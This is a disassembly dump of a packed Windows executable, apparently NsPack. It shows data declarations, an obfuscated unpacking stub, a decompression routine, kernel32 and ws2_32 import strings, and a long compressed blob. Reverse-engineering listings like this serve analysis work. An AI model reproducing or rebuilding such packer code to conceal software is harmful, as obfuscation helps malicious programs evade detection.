dword_4694FC dd 0 ; DATA XREF: sub_417849+4r
; sub_417849+8Bw
dword_469500 dd 0 ; DATA XREF: .nsp0:00417B7Cw
; sub_41C81A:loc_41C82Cr ...
align 8
dword_469508 dd 0 ; DATA XREF: sub_417BEEr sub_417C13r ...
dword_46950C dd 0 ; DATA XREF: sub_4187B6+37r
dd 0
dword_469514 dd 0 ; DATA XREF: sub_415DC9r
; sub_4174DF:loc_4175DBr ...
dword_469518 dd 0 ; DATA XREF: sub_418A68r
dword_46951C dd 0 ; DATA XREF: sub_41A016+11r
; sub_41A11A+1Ar ...
byte_469520 db 0 ; DATA XREF: sub_41A016+3r
; sub_41A016+98r ...
align 4
dword_469524 dd 0 ; DATA XREF: sub_41A11A+11r
; sub_41A1F8+21w ...
byte_469528 db 0 ; DATA XREF: sub_41A1F8+51w
align 4
dword_46952C dd 0 ; DATA XREF: sub_41A3EE+4Er
; sub_41A7C9+3Ar ...
dword_469530 dd 0 ; DATA XREF: sub_41A3EE+5Cr
; sub_41A7C9+43r ...
dword_469534 dd 0 ; DATA XREF: sub_4161C2+7Ar
; sub_41A595+5r
dword_469538 dd 0 ; DATA XREF: sub_41AB9C+29r
dword_46953C dd 0 ; DATA XREF: sub_41BD71+28r
; sub_41BD71+4Cw ...
dd 2 dup(0)
dword_469548 dd 0 ; DATA XREF: sub_417193+4r
; sub_417193+9Dr ...
dd 3 dup(0)
dword_469558 dd 0 ; DATA XREF: sub_4179F9+61r
; sub_4179F9+BFr ...
align 10h
dword_469560 dd 0 ; DATA XREF: sub_41BFC0:loc_41C13Br
; sub_41C159+4w ...
dword_469564 dd 0 ; DATA XREF: sub_41C63E+3Ar
; sub_41C63E+46w ...
dword_469568 dd 41h dup(0) ; DATA XREF: sub_41C8D3:loc_41C8EAo
dword_46966C dd 0 ; DATA XREF: sub_41CB20+2r
; sub_41CB20+23w ...
dword_469670 dd 0 ; DATA XREF: sub_41CEE0+21r
dword_469674 dd 0 ; DATA XREF: sub_4187B6:loc_4187DFw
; sub_418880+154w ...
dword_469678 dd 0 ; DATA XREF: sub_41D1F7+26r
; sub_41D1F7:loc_41D261w
dword_46967C dd 0 ; DATA XREF: sub_418880+7r
word_469680 dw 0 ; DATA XREF: sub_41DDDF+1Ao
; sub_41DDDF+46r
byte_469682 db 0 ; DATA XREF: sub_41DDDF+39r
align 4
dword_469684 dd 7 dup(0) ; DATA XREF: sub_41DDDF+52o
dword_4696A0 dd 0 ; DATA XREF: sub_41DDDF+40w
; sub_41DDDF+5Co
dword_4696A4 dd 0 ; DATA XREF: sub_41DDDF+4Dw
dword_4696A8 dd 0 ; DATA XREF: sub_41DDDF+31w
dword_4696AC dd 0 ; DATA XREF: sub_41DDDF+52w
dword_4696B0 dd 0 ; DATA XREF: sub_41DF02:loc_41DF25r
; sub_41DF02+38r ...
align 8
dword_4696B8 dd 0 ; DATA XREF: sub_41E162+11w
; sub_41E162+63w ...
align 10h
dword_4696C0 dd 0 ; DATA XREF: sub_41E162+33o
; sub_41E162+46r
dword_4696C4 dd 10h dup(0) ; DATA XREF: sub_41E162+C1o
word_469704 dw 0 ; DATA XREF: sub_41E3C0+A8r
word_469706 dw 0 ; DATA XREF: sub_41E162+54r
; sub_41E3C0+DBr ...
word_469708 dw 0 ; DATA XREF: sub_41E3C0+CAr
word_46970A dw 0 ; DATA XREF: sub_41E3C0+D3r
; sub_41E3C0:loc_41E4B2r
word_46970C dw 0 ; DATA XREF: sub_41E3C0+C0r
word_46970E dw 0 ; DATA XREF: sub_41E3C0+B8r
word_469710 dw 0 ; DATA XREF: sub_41E3C0+B0r
word_469712 dw 0 ; DATA XREF: sub_41E3C0+9Er
dword_469714 dd 0 ; DATA XREF: sub_41E162+4Br
dword_469718 dd 10h dup(0) ; DATA XREF: sub_41E162+FBo
word_469758 dw 0 ; DATA XREF: sub_41E3C0+46r
word_46975A dw 0 ; DATA XREF: sub_41E162:loc_41E1D9r
; sub_41E3C0+78r ...
word_46975C dw 0 ; DATA XREF: sub_41E3C0+67r
word_46975E dw 0 ; DATA XREF: sub_41E3C0+70r
; sub_41E3C0:loc_41E444r
word_469760 dw 0 ; DATA XREF: sub_41E3C0+5Dr
word_469762 dw 0 ; DATA XREF: sub_41E3C0+55r
word_469764 dw 0 ; DATA XREF: sub_41E3C0+4Dr
word_469766 dw 0 ; DATA XREF: sub_41E3C0+3Er
dword_469768 dd 0 ; DATA XREF: sub_41E162+80r
dword_46976C dd 0 ; DATA XREF: sub_41E162+132r
; sub_41E162:loc_41E2AEr ...
dword_469770 dd 0 ; DATA XREF: sub_41E14Dr sub_41E14D+Ew
dword_469774 dd 0 ; DATA XREF: sub_41E6EE+3r
; sub_41E6EE+2Ew ...
dword_469778 dd 0 ; DATA XREF: sub_41E6EE+43w
; sub_41E6EE:loc_41E73Dr
dword_46977C dd 0 ; DATA XREF: sub_41E6EE+4Aw
; sub_41E6EE+60r
dword_469780 dd 0 ; DATA XREF: sub_41D55A+3Fr
dword_469784 dd 0 ; DATA XREF: sub_41F297:loc_41F2FEr
; sub_41F297+6Do
dword_469788 dd 0 ; DATA XREF: sub_41F297:loc_41F2D5r
; sub_41F297+44o
dword_46978C dd 0 ; DATA XREF: sub_41F297:loc_41F2C8r
; sub_41F297+37o
dword_469790 dd 0 ; DATA XREF: sub_41F297:loc_41F2E2r
; sub_41F297+51o
align 8
dword_469798 dd 0 ; DATA XREF: sub_41F845+28r
; sub_41F845+48w ...
byte_46979C db 0 ; DATA XREF: sub_404EE6r sub_404EE6+9w ...
align 10h
dword_4697A0 dd 0 ; DATA XREF: sub_418749:loc_41875Ar
; sub_4189F0+14r ...
dd 7 dup(0)
dword_4697C0 dd 400h dup(0) ; DATA XREF: .nsp0:off_438488o
; .nsp0:00438490o
dword_46A7C0 dd 0 ; DATA XREF: sub_418749+9r
; sub_418749+56r ...
dd 7 dup(0)
dword_46A7E0 dd 0 ; DATA XREF: sub_417C37+B1r
; sub_41B8B0+75r ...
dword_46A7E4 dd 3Fh dup(0) ; DATA XREF: sub_41CC52+92o
dword_46A8E0 dd 0 ; DATA XREF: sub_4185CB+8r
; sub_41B989+Cr ...
dword_46A8E4 dd 0 ; DATA XREF: sub_41BFC0+14r
; sub_41BFC0+65w ...
align 10h
dword_46A8F0 dd 3 dup(0) ; DATA XREF: sub_41BFC0+123o
; sub_41BFC0+171o ...
dword_46A8FC dd 0 ; DATA XREF: sub_41BFC0+108w
; sub_41BFC0+15Dw ...
byte_46A900 db 0 ; DATA XREF: sub_41C1FF:loc_41C30Bw
; sub_41C1FF:loc_41C328w ...
align 4
dd 3Fh dup(0)
byte_46AA00 db 0 ; DATA XREF: sub_41BFC0+5Co
; sub_41BFC0+AFo ...
byte_46AA01 db 0 ; DATA XREF: sub_417348+5Dr
; sub_41BFC0+A0w ...
align 4
dd 40h dup(0)
dword_46AB04 dd 0 ; DATA XREF: sub_41BFC0+6Ew
; sub_41BFC0+12Bw ...
dword_46AB08 dd 0 ; DATA XREF: sub_418ABF+32w
; sub_41915C+5r ...
dword_46AB0C dd 0 ; DATA XREF: sub_418B28+239r
; sub_418B28+259r ...
dword_46AB10 dd 0 ; DATA XREF: sub_418ABF+2Dw
; sub_418B28+310w ...
dword_46AB14 dd 0 ; DATA XREF: sub_418ABF:loc_418ADCw
; sub_418B28+22Cr ...
dword_46AB18 dd 0 ; DATA XREF: sub_418ABF+24w
; sub_418AFDr ...
dword_46AB1C dd 0 ; DATA XREF: sub_418ABF+15w
; sub_418AFD+8r ...
dword_46AB20 dd 0 ; DATA XREF: sub_415E07+28r
; sub_415E3D+21r ...
dword_46AB24 dd 0 ; DATA XREF: .nsp0:00417B72w
; sub_41C7C2+Fr ...
dword_46AB28 dd 0 ; DATA XREF: sub_41C81A+ADw
; sub_41F409r
dword_46AB2C dd 0 ; DATA XREF: sub_41C384r
; sub_41C384+11w ...
dword_46AB30 dd 0 ; DATA XREF: sub_4167D3+13r
; sub_4167D3:loc_416815r ...
dword_46AB34 dd 0 ; DATA XREF: sub_4167D3+1r
; sub_4167D3+Cr ...
byte_46AB38 db 0 ; DATA XREF: sub_4200C4+15r
; sub_4200C4+1Ew
align 4
dd 131h dup(0)
db 90h
db 60h, 0E8h, 3
dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh
dd 0DD03FFFFh, 0B000EB81h, 7D830006h, 5D890025h, 8D117525h
dd 53502A45h, 92DB5FFh, 1FEB0000h, 400000h, 345678B8h
dd 45035012h, 0DB0B5B25h, 1C244489h, 6A067561h, 0CC25801h
dd 0E8C35000h, 0Bh, 0F2FD54A7h, 3EF9C043h, 81B5EC9Fh, 94D316CEh
dd 0E9575A00h, 5, 1C8FEE69h, 0C2815F25h, 868h, 0CE816651h
dd 2B5E2F9Eh, 0FA8B56DBh, 1334FF59h, 58F2B70Fh, 0B05A8168h
dd 1DBDB939h, 815E3507h, 0D8C342E8h, 0FEBF0F6Fh, 6F53E881h
dd 0C08171D5h, 2CFDE090h, 0F7E5B966h, 661A0489h, 7974C981h
dd 4B03EB83h, 0F09ED3B9h, 2CFB8116h, 0FFFFFF8h, 0FFFFB885h
dd 14E8FFh, 0C53C0000h, 41284B1Ah, 7DD427E6h, 7940C372h
dd 356C1FBEh, 81663BCAh, 5F4804C6h, 8E8CA8Bh, 0B0000000h
dd 0DC4FAE29h, 816BBAE5h, 5CC12E9h, 0EE95E59h, 5E000000h
dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0C7C681D3h, 81000007h
dd 0E81DC5CAh, 0BB3Fh, 0D78A0000h, 0F3334FFh, 0B25FC2B7h
dd 0FEF781A3h, 66695841h, 8142EDB8h, 23AD5FC7h, 0CAB70F47h
dd 0F3ACEF81h, 8B665F7Dh, 815157C7h, 5A2AA0F0h, 48F5A50h
dd 0E86FB11Eh, 14h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
dd 0FB8AF52Ch, 8358F58Ah, 816604EBh, 8139E1CAh, 0FFF8D0FBh
dd 9D850FFFh, 80FFFFFFh, 8C0F60DCh, 0
dd 6E8h, 34074600h, 8AA3D25Dh, 10E85AF9h, 0B8000000h, 64F7F691h
dd 0D09382CDh, 0FCEFCEC9h, 660BDA85h, 815BC88Bh, 723C2h
dd 2BCEB500h, 0DE9FFh, 56710000h, 0E2ADC4D7h, 2EA93073h
dd 8B655CCFh, 0E1683A04h, 0E94C3A03h, 9, 6063921Dh, 8CBFDE19h
dd 0E8815ED5h, 60ABEF04h, 6870Fh, 0D6810000h, 4356EA90h
dd 2CEDE881h, 0B9576D20h, 7D3CA7CBh, 22E8815Eh, 0B330B187h
dd 3A04897Ah, 0E820Fh, 0E8510000h, 6, 6D849716h, 5B5E33A2h
dd 0EF83FC8Ah, 8EDDB904h, 0FF812B78h, 0FFFFF988h, 0FF95850Fh
dd 0D681FFFFh, 111AD44Ch, 4F81B966h, 0BE8h, 0BD146700h
dd 0B98003B2h, 75AC5FFEh, 58D08B66h, 668C081h, 0CA8B0000h
dd 168BEh, 0E186BA00h, 30FF0D1Bh, 815B3CB5h, 1B3413F3h
dd 20A4BF46h, 0EB815891h, 3D252650h, 9D28166h, 49EB817Eh
dd 0E84C5DE0h, 11h, 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h
dd 5989B635h, 4890F53h, 52000000h, 8F5AD6B5h, 5E900h, 1E590000h
dd 8315CCFFh, 685204E8h, 102A1164h, 0C9F78166h, 835F5ADBh
dd 850F01EEh, 1Bh, 0E9FBB70Fh, 39h, 8AF52CDFh, 567118FBh
dd 0E2ADC4D7h, 2EA93073h, 0E9655CCFh, 0Dh, 0F4C706E1h
dd 6063921Dh, 8CBFDE19h, 0FF64E9D5h, 78DBFFFFh, 24B7B651h
dd 9053428Dh, 0BCAF8E89h, 0FE945h, 8AB0000h, 0B487C6A1h
dd 202352DDh, 4C7F9ED9h, 0FE895h, 389B0000h, 0E4777611h
dd 5013024Dh, 7C6F4E49h, 14D88105h, 5A31A257h, 0D7D080BBh
dd 86C2814Dh, 8B000005h, 13768C3h, 0D8810000h, 63B10F62h
dd 66328B59h, 8128BABBh, 0B54C6DEEh, 0A2F68160h, 0E833C8F0h
dd 9, 0E0E3129Dh, 0C3F5E99h, 0D88B6655h, 33C6815Bh, 66052C01h
dd 3289F88Bh, 6E8h, 0D427E600h, 0FC3727Dh, 835FFBB7h, 0E98304EAh
dd 16850F01h, 0E9000000h, 30h, 882B7AA5h, 34074621h, 0A0A3D25Dh
dd 0CCFF1E59h, 28E0F15h, 8B000000h, 0FF93E9C3h, 9382FFFFh
dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0E8h
dd 895B5D00h, 8958575Dh, 3C385h, 7D805800h, 55750156h
dd 3DB8589h, 8D600000h, 33502F45h, 30FF64C0h, 8B208964h
dd 2A2E8C3h, 1CEB0000h, 824648Bh, 68F6764h, 0C4830000h
dd 458D6104h, 55FF505Bh, 29CE857h, 9EB0000h, 68F6764h
dd 0C4830000h, 17EB24h, 77E79F93h, 6E72656Bh, 32336C65h
dd 6C6C642Eh, 24DE800h, 8DFC0000h, 84B5h, 0C00BAD00h, 0F88B1B74h
dd 0CB9h, 0EBA4F300h, 40100010h, 0BB432800h, 0A21119B2h
dd 3A7C7180h, 0DFA5896Bh, 6A000003h, 10006804h, 0B5FF0000h
dd 3BEh, 95FF006Ah, 3AAh, 1758589h, 9D8B0000h, 3B6h, 3C39D03h
dd 53500000h, 0B5E8h, 68046A00h, 1000h, 3BEB5FFh, 6A0000h
dd 3AA95FFh, 85890000h, 179h, 175958Bh, 0F8BB0000h, 8B000001h
dd 0B0C1A7Ch, 8B1E74FFh, 0B101A4Ch, 31174C9h, 179BDh, 1A748B00h
dd 0C1F20314h, 0A5F302F9h, 0EB28C383h, 75858BDAh, 50000001h
dd 179958Bh, 8B520000h, 8BDA0318h, 39E85h, 8B038900h, 3A285h
dd 4438900h, 3A6858Bh, 43890000h, 8B5E5F08h, 0C7030446h
dd 1708589h, 9D8D0000h, 3C3h, 6A006A53h, 57016A00h, 3085E8Bh
dd 6853DFh, 6A000080h, 95FF5600h, 3AEh, 37B00068h, 0C300h
dd 34h
db 36h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
cld
mov dl, 80h
loc_46B57C: ; CODE XREF: .nsp0:loc_46B58Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_46B582: ; CODE XREF: .nsp0:0046B5E0j
; .nsp0:0046B625j ...
add dl, dl
jnz short loc_46B58B
mov dl, [esi]
inc esi
adc dl, dl
loc_46B58B: ; CODE XREF: .nsp0:0046B584j
jnb short loc_46B57C
add dl, dl
jnz short loc_46B596
mov dl, [esi]
inc esi
adc dl, dl
loc_46B596: ; CODE XREF: .nsp0:0046B58Fj
jnb short loc_46B5E2
xor eax, eax
add dl, dl
jnz short loc_46B5A3
mov dl, [esi]
inc esi
adc dl, dl
loc_46B5A3: ; CODE XREF: .nsp0:0046B59Cj
jnb loc_46B67F
add dl, dl
jnz short loc_46B5B2
mov dl, [esi]
inc esi
adc dl, dl
loc_46B5B2: ; CODE XREF: .nsp0:0046B5ABj
adc eax, eax
add dl, dl
jnz short loc_46B5BD
mov dl, [esi]
inc esi
adc dl, dl
loc_46B5BD: ; CODE XREF: .nsp0:0046B5B6j
adc eax, eax
add dl, dl
jnz short loc_46B5C8
mov dl, [esi]
inc esi
adc dl, dl
loc_46B5C8: ; CODE XREF: .nsp0:0046B5C1j
adc eax, eax
add dl, dl
jnz short loc_46B5D3
mov dl, [esi]
inc esi
adc dl, dl
loc_46B5D3: ; CODE XREF: .nsp0:0046B5CCj
adc eax, eax
jz short loc_46B5DD
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_46B5DD: ; CODE XREF: .nsp0:0046B5D5j
mov [edi], al
inc edi
jmp short loc_46B582
; ---------------------------------------------------------------------------
loc_46B5E2: ; CODE XREF: .nsp0:loc_46B596j
mov eax, 1
loc_46B5E7: ; CODE XREF: .nsp0:loc_46B5FBj
add dl, dl
jnz short loc_46B5F0
mov dl, [esi]
inc esi
adc dl, dl
loc_46B5F0: ; CODE XREF: .nsp0:0046B5E9j
adc eax, eax
add dl, dl
jnz short loc_46B5FB
mov dl, [esi]
inc esi
adc dl, dl
loc_46B5FB: ; CODE XREF: .nsp0:0046B5F4j
jb short loc_46B5E7
sub eax, 2
jnz short loc_46B62A
mov ecx, 1
loc_46B607: ; CODE XREF: .nsp0:loc_46B61Bj
add dl, dl
jnz short loc_46B610
mov dl, [esi]
inc esi
adc dl, dl
loc_46B610: ; CODE XREF: .nsp0:0046B609j
adc ecx, ecx
add dl, dl
jnz short loc_46B61B
mov dl, [esi]
inc esi
adc dl, dl
loc_46B61B: ; CODE XREF: .nsp0:0046B614j
jb short loc_46B607
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_46B582
; ---------------------------------------------------------------------------
loc_46B62A: ; CODE XREF: .nsp0:0046B600j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_46B638: ; CODE XREF: .nsp0:loc_46B64Cj
add dl, dl
jnz short loc_46B641
mov dl, [esi]
inc esi
adc dl, dl
loc_46B641: ; CODE XREF: .nsp0:0046B63Aj
adc ecx, ecx
add dl, dl
jnz short loc_46B64C
mov dl, [esi]
inc esi
adc dl, dl
loc_46B64C: ; CODE XREF: .nsp0:0046B645j
jb short loc_46B638
cmp eax, 7D00h
jnb short loc_46B66F
cmp eax, 500h
jb short loc_46B66A
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46B582
; ---------------------------------------------------------------------------
loc_46B66A: ; CODE XREF: .nsp0:0046B65Aj
cmp eax, 7Fh
ja short loc_46B672
loc_46B66F: ; CODE XREF: .nsp0:0046B653j
add ecx, 2
loc_46B672: ; CODE XREF: .nsp0:0046B66Dj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46B582
; ---------------------------------------------------------------------------
loc_46B67F: ; CODE XREF: .nsp0:loc_46B5A3j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_46B69B
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46B582
; ---------------------------------------------------------------------------
loc_46B69B: ; CODE XREF: .nsp0:0046B687j
pop ebp
sub edi, [ebp+0Ch]
mov [ebp-4], edi
popa
pop ebp
retn 8
; ---------------------------------------------------------------------------
db 40h
dd 8B77E821h, 3D242444h, 77E00000h, 67640A73h, 68Fh, 0C324C483h
dd 0FF000025h, 5FFh, 2D0001h, 66000100h, 5A4D3881h, 8960F475h
dd 3B285h, 8BD08B00h, 3C4003D8h, 89785803h, 2B69Dh, 869D8D00h
dd 8D000003h, 39EBDh, 89338B00h, 336B5h, 0BE800h, 83AB0000h
dd 3B8304C3h, 61EA7500h, 9D8B60C3h, 2B6h, 3204B8Bh, 3318BCAh
dd 2FE8F2h, 0CEBF0000h, 3B49CD75h, 830574C7h, 0E9EB04C1h
dd 2B204B2Bh, 3E9D1CAh, 0CA03244Bh, 0C109B70Fh, 4B0302E1h
dd 8BCA031Ch, 89CA0309h, 611C244Ch, 8EBA52C3h, 0AC9C3B24h
dd 1474C00Ah, 8B0D032h, 673EAD1h, 0F39AF281h, 0C8FEC1A7h
dd 0E7EBF275h, 0A7C35A92h, 0F0B72551h, 57A7493Bh, 13901902h
dd 0CE74EE32h, 49CD75h, 0FD000000h, 9377E7A5h, 0D877E79Fh
dd 0A77E805h, 3477E798h, 77E79Eh, 0E077E600h, 4C0006B9h
dd 0C4h, 1D0h, 2 dup(400000h), 3 dup(0)
dd 22108h, 0
dd 12FFA4h, 0
dd 1000h, 1F400h, 0EF12h, 21000h, 1C00h, 0B8Ah, 23000h
dd 15C00h, 6DD9h, 47h dup(0)
dd 90000000h, 2000h, 8, 6 dup(0)
dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 6B950h, 6B93Ch, 3 dup(0)
db 0CCh
db 0B9h, 6, 0
dd 6B9D7h, 5 dup(0)
dd 5F327377h, 642E3233h, 36006C6Ch, 71AB18h, 0
dd 1B838A4h, 8B06270h, 10A32F0h, 21019C7Fh, 23D0715Dh
dd 1089AE15h, 406FBB1Ch, 9632F115h, 0E34D0409h, 501F24EAh
dd 289A15A3h, 0EA660ECh, 0B2289E57h, 0BF509A70h, 22801128h
dd 0F2A24602h, 48902420h, 50A49512h, 0A89B0ECh, 28BDB612h
dd 0DE0EC094h, 70DFAF26h, 10243804h, 6000C40h, 69727453h
dd 67350E6Eh, 1A01958h, 8E042050h, 2AE43300h, 922F018h
dd 0F84400F4h, 29CC88ECh, 1338E081h, 7190028h, 6A624F54h
dd 3630065h, 5025FF74h, 81004171h, 1091C08Bh, 48C84Ch
dd 407244E4h, 381C3C39h, 34478E00h, 2C913023h, 0E42800C8h
dd 39207224h, 86E31C60h, 14231822h, 0CC80046h, 47208E4h
dd 5CE8843Bh, 70FC3800h, 23F8478Ch, 0D3BF00F4h, 86C2920h
dd 0CA3C6891h, 0EC650FF0h, 998C2032h, 0FE4C8818h, 805EC084h
dd 78907C23h, 8353C000h, 49BBBCC4h, 0C59010Ah, 0DF3E854h
dd 2444C0F6h, 74012C00h, 78B70F05h, 301B005Ch, 0FB38C38Bh
dd 200AD5Bh, 431EE82Ch, 0E434A5h, 99E06432h, 0D81CDC08h
dd 23D472C0h, 80CC90D0h, 4C03BE56h, 8312C764h, 3A75803Eh
dd 67440068h, 16ACC06h, 80E6A7E8h, 0C88B0E00h, 575C985h
dd 0C0330018h, 48A1CA5Eh, 890E43C7h, 0F0D2501h, 8BD2C008h
dd 703C2h, 0C1448DC0h, 891E8104h, 6C8180Fh, 0FA83A042h
dd 0EC7564h, 109F1FCFh, 90591699h, 541DDB01h, 58E80440h
dd 3BECF2C8h, 0E78033D8h, 30ED8597h, 16008B49h, 8503A89h
dd 71045699h, 213FC0Ch, 586233EFh, 37414214h, 1C4A3003h
dd 0A2501907h, 0F9B0FD08h, 0E9451h, 3E999115h, 0C30743A3h
dd 5790030Fh, 0F18BE055h, 12414F9h, 5022E8D4h, 0EC049760h
dd 5D006A46h, 0BF90BEEBh, 43B03Bh, 5303D0A0h, 16120C79h
dd 2147503h, 0A06FE813h, 3126B9ADh, 0C909646h, 0EB04D801h
dd 3E45000h, 0C23B4EC1h, 5D0D1275h, 0D03C071Dh, 0A7EBA7DFh
dd 0D67ED07Ch, 0E803C519h, 42842B3Fh, 6AF000A0h, 5F5D2A5Ah
dd 8D074C89h, 207451A8h, 0BFA3F880h, 0FB7493h, 3BA10732h
dd 0D16C72F0h, 4A03CE0Eh, 1DE8E086h, 18D86Eh, 245E77CDh
dd 43FB1B75h, 6601BC00h, 0AA290CFFh, 7B830E39h, 44E040C8h
dd 97EB9465h, 870A3D12h, 0CE038900h, 4DF877h, 41CFF530h
dd 0DC7329FEh, 0D926EB02h, 4089852Ah, 60752BB1h, 96CFD6F9h
dd 0D0030F12h, 6A77B9B4h, 788590D4h, 900C00EBh, 0A887E90Dh
dd 0FB3E3B1Bh, 561C83E6h, 0FF2A9259h, 0DA8B3910h, 81F0000Ch
dd 0E0104EFEh, 739287Dh, 54DF00BEh, 3BFFC6CEh, 0E6B30014h
dd 89100860h, 6A000473h, 32680138h, 561820h, 8B7C049h
dd 3B8903F8h, 74FF850Fh, 0B8D36023h, 38489250h, 138064ACh
dd 0E488804Ah, 37E0D8Bh, 4FBFE800h, 64AAF857h, 1F557DC1h
dd 40B424D9h, 447C414h, 6A7D3B61h, 85D6500Eh, 532CA00Ch
dd 1F5775h, 29A39C79h, 839E3125h, 95000590h, 5ADCEA77h
dd 0EC6C49h, 13214CFDh, 98C7E424h, 834E307h, 667003FFh
dd 31D954D7h, 9721D01h, 0F7C5F0D8h, 102A9E0Fh, 124F80D4h
dd 4951EBh, 900173F3h, 0E44677EEh, 7679C648h, 35BDFB0Eh
dd 0C4742AFEh, 89C0871Dh, 4715670Dh, 6BFD0076h, 567599EAh
dd 0D0007354h, 5C70A86h, 0F8D2C6Dh, 1065C21Bh, 0FB81DF00h
dd 75015907h, 460ACA7h, 83F8EDC3h, 7050007Ch, 0FA319C0h
dd 8F40DA5h, 158A2200h, 0B4972B0Ch, 0AFC9001Dh, 9A14AC42h
dd 0B83DB1B9h, 853180F4h, 5C81EAC8h, 50FD00E5h, 1ADE03BAh
dd 0D203C25Dh, 0E2204E0Fh, 40D4921Fh, 6F7888h, 2B450D28h
dd 0D54637C5h, 0CF333501h, 45EFB3Ch, 770C7ED0h, 90C10003h
dd 0DDF10276h, 0A0907FDBh, 0DC6BA0Eh, 1EF00098h, 0E2105891h
dd 922B003Dh, 5A155357h, 0A624D4C1h, 140074A3h, 0BA290F36h
dd 86BC3A94h, 0AC920C83h, 0C9882C74h, 0F300B684h, 8232A285h
dd 3419E6h, 3EB9E41h, 613F651Dh, 0F730C903h, 0F00FCA2Bh
dd 1385185h, 241C0E0Bh, 2077DF73h, 7A09EFBAh, 0FD158Dh
dd 4081A1CCh, 4227071Dh, 804A0288h, 3862C051h, 45C7B400h
dd 560BD43h, 0FFE0FB37h, 874E003Fh, 0F5C00CE7h, 0D41FC55Dh
dd 0FC03B33h, 4A612C7Fh, 64D700F1h, 1F38E855h, 77005C05h
dd 0F5507487h, 498D46h, 3E4216DAh, 0A27358Bh, 0C900DD7Dh
dd 0E8C7AA91h, 3483B31h, 0CCFC212Fh, 87E8BAB1h, 3C01830Ch
dd 0D7A55C24h, 6E44323h, 0AC6700E8h, 0C2E659CDh, 10004737h
dd 0F4B5CA6h, 1FA8B74h, 76933F0Ah, 0EA620250h, 559885C0h
dd 0F575281Dh, 575489h, 968E2A2Ah, 8D4901E0h, 2BA950DAh
dd 9CA2F4B2h, 0E8566803h, 0D080A4EFh, 82A1B9h, 0C379D33h
dd 86A9C924h, 1F90493Dh, 16C0B175h, 53EF278Bh, 986DF88Ch
dd 0E9820002h, 4EB207DEh, 960EA062h, 0A0344347h, 9A66850Fh
dd 4BA701FFh, 0CA48EBC3h, 0F527706Bh, 3A007577h, 1D159249h
dd 3CA66DD8h, 51B9217Ah, 9B388380h, 0DA1128A8h, 4F464001h
dd 524509AAh, 0A23A20h, 6A4A9A07h, 0A480C5C7h, 8B89230Fh
dd 8D00BEF9h, 431C4698h, 364C00E3h, 0D4F0031Eh, 7000BE6h
dd 5B73DE3Bh, 81CFF4h, 8AD32B74h, 0CC05B38Bh, 22B85100h
dd 7CB9534Fh, 205C0060h, 1F74DB85h, 9500B6A5h, 4B96B4C3h
dd 3E128939h, 2B03CB47h, 14F60811h, 3C94F288h, 92FB880Eh
dd 77A40EBh, 8D8EAAh, 0EC81854Bh, 68449C1Dh, 0C0192E1Eh
dd 32FF64C0h, 0B07B89E6h, 28300BACh, 348040C7h, 606C3D79h
dd 0A7E1600h, 0CF4513A4h, 22610776h, 0B09ED537h, 68508CC8h
dd 10F848h, 62A3CC28h, 7E832D88h, 8406003Dh, 3B8262Fh
dd 150045BEh, 0C9330E05h, 182C080h, 3D2A40F4h, 700DAF01h
dd 7000B841h, 73BE2C27h, 7C62C8h, 2805C684h, 0EA0014Ah
dd 34595A00h, 68100A8Ch, 29970735h, 80D75187h, 548FE9C3h
dd 0E5C81E00h, 5D2EA050h, 6FC400A4h, 229F4C53h, 84030F1Ah
dd 0D290D5CCh, 2985C012h, 937A07C8h, 0C5A18268h, 4A278091h
dd 1E0225AFh, 0F4DCB235h, 0E9B08012h, 46D509h, 0BBB3983Dh
dd 7EE692B5h, 254E0307h, 749081B8h, 7323817h, 5E57153Eh
dd 75058053h, 0CA0019E9h, 1A94DA77h, 0A523Bh, 0C2E4DF29h
dd 0E0805BDBh, 51C537Ch, 996A17Ch, 1528F800h, 13DF0Bh
dd 81084802h, 27ADE4F9h, 387F38h, 0C985176Dh, 2E031C79h
dd 3997C183h, 0D2D50200h, 0F481CD97h, 4A24EB00h, 46DA5117h
dd 0F02C3D18h, 0CBFF580h, 1582D678h, 0D709AE0Ch, 1E9D6652h
dd 56EB938Ch, 0EDB500B5h, 30772C1h, 0CF0CEE00h, 12C2160Fh
dd 0FA7F81h, 66E87518h, 1185B910h, 650348h, 40C45D8Eh
dd 0E983CAh, 761C97B8h, 10FA0201h, 0C70F7C00h, 8070C803h
dd 0D14C008Bh, 0D80C2085h, 40028A0h, 4286F37Ch, 4802C981h
dd 8007D2Dh, 0FF260B30h, 0A4001C05h, 83D00CB8h, 0AB04EAh
dd 0E4FC4CE2h, 1177F30h, 91201509h, 0BA858093h, 6EC33Ch
dd 0A90E7C0Ch, 2B6502CAh, 84C1F200h, 558668DBh, 1CE22E4Ah
dd 83C200A5h, 8B1FE20h, 48484D26h, 92E10Bh, 742506EDh
dd 42A3F31h, 54B0DA80h, 802B64A1h, 33C8AE00h, 0FEC2F711h
dd 0ACE20FB2h, 0F621EB20h, 0DCFAC701h, 0A770468Ah, 2B087200h
dd 0EB703BC6h, 61E0158h, 0C517E888h, 84AB60F9h, 64A25501h
dd 33D8CB9Eh, 0A9F0A0E9h, 67050085h, 5A1F250Bh, 0C4FFF85Fh
dd 200A824h, 3C13753Bh
dd 2C62AF3h, 5046FE32h, 0CC411608h, 0C725E023h, 4AB09604h
